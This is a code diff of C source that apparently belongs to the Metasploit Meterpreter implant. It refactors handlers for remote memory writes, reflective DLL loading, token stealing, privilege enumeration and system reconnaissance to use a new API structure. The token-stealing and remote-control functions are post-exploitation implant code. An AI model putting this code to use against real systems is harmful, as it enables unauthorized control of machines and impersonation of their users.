lpAddress = (LPVOID)packet_get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS );
lpAddress = (LPVOID)met_api->packet.get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS );
if( !lpAddress )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !lpAddress", ERROR_INVALID_PARAMETER );
pData = packet_get_tlv_value_raw( pPacket, TLV_TYPE_RAILGUN_MEM_DATA );
pData = met_api->packet.get_tlv_value_raw( pPacket, TLV_TYPE_RAILGUN_MEM_DATA );
if( !pData )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !pData", ERROR_INVALID_PARAMETER );
dwLength = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH );
dwLength = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH );
if( !dwLength )
BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !dwLength", ERROR_INVALID_PARAMETER );
@ -707,7 +708,7 @@ DWORD request_railgun_memwrite( Remote * pRemote, Packet * pPacket )
if( pResponse )
{
dwResult = packet_transmit_response(dwResult, pRemote, pResponse);
dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse);
}
dprintf("[RAILGUN] request_railgun_memwrite: Finished.");

View File

@ -3,17 +3,15 @@
* regards
*/
#include "precomp.h"
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
// General
extern DWORD request_general_channel_open(Remote *remote, Packet *packet);
@ -172,14 +170,15 @@ Command customCommands[] =
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote)
{
hMetSrv = remote->met_srv;
met_api = api;
command_register_all(customCommands);
met_api->command.register_all( customCommands );
return ERROR_SUCCESS;
}
@ -191,11 +190,12 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all(customCommands);
met_api->command.deregister_all( customCommands );
return ERROR_SUCCESS;
}
/*!
* @brief Get the name of the extension.
* @param buffer Pointer to the buffer to write the name to.

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#include <Sddl.h>
#include <Lm.h>
@ -28,7 +29,7 @@ VOID add_env_pair(Packet *response, char * envVar, char *envVal)
entries[1].header.length = (DWORD)strlen(envVal) + 1;
entries[1].buffer = (PUCHAR)envVal;
packet_add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2);
met_api->packet.add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2);
}
else
{
@ -46,7 +47,7 @@ VOID add_env_pair(Packet *response, char * envVar, char *envVal)
*/
DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
DWORD dwTlvIndex = 0;
Tlv envTlv;
@ -55,7 +56,7 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
do
{
while (ERROR_SUCCESS == packet_enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv))
while (ERROR_SUCCESS == met_api->packet.enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv))
{
pEnvVarStart = (char*)envTlv.buffer;
@ -87,13 +88,13 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
dprintf("[ENV] Final env var: %s", pEnvVarStart);
// grab the value of the variable and stick it in the response.
PWCHAR name = utf8_to_wchar(pEnvVarStart);
PWCHAR name = met_api->string.utf8_to_wchar(pEnvVarStart);
//Ensure we always have > 0 bytes even if env var doesn't exist
DWORD envlen = GetEnvironmentVariableW(name, NULL, 0) + 1;
PWCHAR wvalue = (PWCHAR)malloc(envlen * sizeof(WCHAR));
GetEnvironmentVariableW(name, wvalue, envlen);
free(name);
char* value = wchar_to_utf8(wvalue);
char* value = met_api->string.wchar_to_utf8(wvalue);
free(wvalue);
add_env_pair(response, pEnvVarStart, value);
free(value);
@ -103,7 +104,7 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
} while (0);
dprintf("[ENV] Transmitting response.");
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
dprintf("[ENV] done.");
return dwResult;
@ -153,7 +154,7 @@ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest)
DWORD dwResult;
BYTE tokenUserInfo[4096];
LPSTR pSid = NULL;
Packet *pResponse = packet_create_response(pRequest);
Packet *pResponse = met_api->packet.create_response(pRequest);
do
{
@ -172,11 +173,11 @@ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest)
if (pSid != NULL)
{
packet_add_tlv_string(pResponse, TLV_TYPE_SID, pSid);
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_SID, pSid);
LocalFree(pSid);
}
packet_transmit_response(dwResult, pRemote, pResponse);
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
return dwResult;
}
@ -215,15 +216,15 @@ DWORD populate_uid(Packet* pResponse)
BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data");
}
char *domainName = wchar_to_utf8(cbDomainOnly);
char *userName = wchar_to_utf8(cbUserOnly);
char *domainName = met_api->string.wchar_to_utf8(cbDomainOnly);
char *userName = met_api->string.wchar_to_utf8(cbUserOnly);
// Make full name in DOMAIN\USERNAME format
_snprintf(cbUsername, 512, "%s\\%s", domainName, userName);
free(domainName);
free(userName);
cbUsername[511] = '\0';
packet_add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername);
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername);
dwResult = EXIT_SUCCESS;
} while (0);
@ -239,13 +240,13 @@ DWORD populate_uid(Packet* pResponse)
*/
DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket)
{
Packet *pResponse = packet_create_response(pPacket);
Packet *pResponse = met_api->packet.create_response(pPacket);
DWORD dwResult = ERROR_SUCCESS;
dwResult = populate_uid(pResponse);
// Transmit the response
packet_transmit_response(dwResult, pRemote, pResponse);
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
return dwResult;
}
@ -258,14 +259,14 @@ DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket)
*/
DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket)
{
Packet* pResponse = packet_create_response(pPacket);
Packet* pResponse = met_api->packet.create_response(pPacket);
DWORD dwResult = ERROR_SUCCESS;
core_update_thread_token(pRemote, NULL);
met_api->thread.update_token(pRemote, NULL);
dwResult = populate_uid(pResponse);
// Transmit the response
packet_transmit_response(dwResult, pRemote, pResponse);
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
return dwResult;
}
@ -279,7 +280,7 @@ DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket)
*/
DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD res = ERROR_SUCCESS;
HANDLE token = NULL;
int x;
@ -343,7 +344,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
if (GetLastError() == ERROR_SUCCESS)
{
dprintf("[GETPRIVS] Got Priv %s", privs[x]);
packet_add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]);
met_api->packet.add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]);
}
}
else
@ -359,7 +360,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
}
// Transmit the response
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return res;
}
@ -372,7 +373,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
*/
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
HANDLE hToken = NULL;
HANDLE hProcessHandle = NULL;
@ -382,7 +383,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
do
{
// Get the process identifier that we're attaching to, if any.
dwPid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);
dwPid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID);
if (!dwPid)
{
@ -422,7 +423,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
}
dprintf("[STEAL-TOKEN] so far so good, updating thread token");
core_update_thread_token(remote, hDupToken);
met_api->thread.update_token(remote, hDupToken);
dprintf("[STEAL-TOKEN] populating UID");
dwResult = populate_uid(response);
@ -438,7 +439,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
CloseHandle(hToken);
}
// Transmit the response
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
return dwResult;
}
@ -564,7 +565,7 @@ DWORD add_windows_os_version(Packet** packet)
}
dprintf("[VERSION] Version set to: %s", buffer);
packet_add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer);
met_api->packet.add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer);
} while (0);
return dwResult;
@ -578,7 +579,7 @@ DWORD add_windows_os_version(Packet** packet)
*/
DWORD request_sys_config_localtime(Remote* remote, Packet* packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
char dateTime[128] = { 0 };
@ -595,10 +596,10 @@ DWORD request_sys_config_localtime(Remote* remote, Packet* packet)
tzi.Bias > 0 ? "-" : "+", abs(tzi.Bias / 60 * 100));
dprintf("[SYSINFO] Local Date/Time: %s", dateTime);
packet_add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime);
met_api->packet.add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime);
// Transmit the response
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return result;
}
@ -611,7 +612,7 @@ DWORD request_sys_config_localtime(Remote* remote, Packet* packet)
*/
DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
CHAR computer[512], buf[512], * osArch = NULL;
DWORD res = ERROR_SUCCESS;
DWORD size = sizeof(computer);
@ -629,7 +630,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
break;
}
packet_add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer);
met_api->packet.add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer);
add_windows_os_version(&response);
// sf: we dynamically retrieve GetNativeSystemInfo & IsWow64Process as NT and 2000 dont support it.
@ -667,7 +668,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
}
dprintf("[SYSINFO] Arch set to: %s", osArch);
packet_add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch);
met_api->packet.add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch);
if (hKernel32)
{
@ -702,7 +703,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
_snprintf(buf, sizeof(buf)-1, "%s_%s", langname, ctryname);
}
packet_add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf);
met_api->packet.add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf);
if (ctryname)
{
@ -719,9 +720,9 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
if (NetWkstaGetInfo(NULL, 102, (LPBYTE *)&localSysinfo) == NERR_Success)
{
char *domainName = wchar_to_utf8(localSysinfo->wki102_langroup);
packet_add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName);
packet_add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
char *domainName = met_api->string.wchar_to_utf8(localSysinfo->wki102_langroup);
met_api->packet.add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName);
met_api->packet.add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
free(domainName);
}
else
@ -731,7 +732,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
} while (0);
// Transmit the response
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return res;
}
@ -749,16 +750,16 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
do
{
response = packet_create_response(packet);
response = met_api->packet.create_response(packet);
if (!response)
{
dwResult = ERROR_INVALID_HANDLE;
break;
}
core_update_thread_token(remote, NULL);
met_api->thread.update_token(remote, NULL);
core_update_desktop(remote, -1, NULL, NULL);
met_api->desktop.update(remote, -1, NULL, NULL);
if (!RevertToSelf())
dwResult = GetLastError();
@ -766,7 +767,7 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
} while(0);
if (response)
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
return dwResult;
}
@ -776,7 +777,7 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
*/
DWORD request_sys_config_driver_list(Remote *remote, Packet *packet)
{
Packet* response = packet_create_response(packet);
Packet* response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
LPVOID ignored = NULL;
@ -831,17 +832,17 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet)
if (valid)
{
Packet* entry = packet_create_group();
Packet* entry = met_api->packet.create_group();
char* bn = wchar_to_utf8(baseName);
packet_add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn);
char* bn = met_api->string.wchar_to_utf8(baseName);
met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn);
free(bn);
char* fn = wchar_to_utf8(fileName);
packet_add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn);
char* fn = met_api->string.wchar_to_utf8(fileName);
met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn);
free(fn);
packet_add_group(response, TLV_TYPE_DRIVER_ENTRY, entry);
met_api->packet.add_group(response, TLV_TYPE_DRIVER_ENTRY, entry);
}
}
}
@ -854,7 +855,7 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet)
}
}
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}

Some files were not shown because too many files have changed in this diff Show More